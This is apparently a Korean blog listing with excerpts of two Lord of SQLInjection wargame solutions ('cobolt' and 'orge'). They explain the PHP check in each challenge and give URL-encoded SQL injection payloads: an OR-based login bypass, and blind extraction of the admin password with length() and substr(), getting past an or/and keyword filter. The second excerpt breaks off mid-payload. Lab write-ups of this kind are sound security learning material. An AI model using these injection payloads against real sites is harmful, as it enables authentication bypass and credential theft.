728x90 LOS풀이2 LOS 2.cobolt 풀이 (난이도 최하) ::문제풀이 if($result['id'] == 'admin') solve("cobolt"); 이부분을 보면 id가 admin일 때 cobolt를 풀 수 있다고 했으니 위에서 id를 admin으로 설정해준다. ?id=admin 이렇게 넣어주면 query : select id from prob_cobolt where id='admin' and pw=md5('') 쿼리에서 id가 admin으로 변한다. 여기서 뒤에를 무시해줘야하는데 이때 or을 사용해서 해결한다. 그리고 pw에는 아무거나 넣어준다. 나는 공란으로 남겨뒀다. ::답 ?id=admin%27%20or%20pw=%27 2020. 8. 26. LOS 7.orge 풀이 (난이도 상) :: 문제풀이 if(preg_match ('/or|and/i', $_GET [pw ])) exit("HeHe"); 여기도 마찬가지로 or과 and를 사용할 수 없게 되어있다. ?pw=%27%20||%20length(pw)>5%23 이걸 사용했더니 hello guest가 떠서 5이상의 숫자를 넣어보았다. ?pw=%27%20||%20length(pw)=8%23 여기서 hello admin이 떠서 pw의 길이가 8이라는 것을 알아내었다. ?pw=%27%20||%20id=%27admin%27%26%26substr(pw,1,1)=6%23 ?pw=%27%20||%20id=%27admin%27%26%26substr(pw,2,1)=%27c ?pw=%27%20||%20id=%27admin%27%26%26substr(pw.. 2019. 11. 8. 이전 1 다음 728x90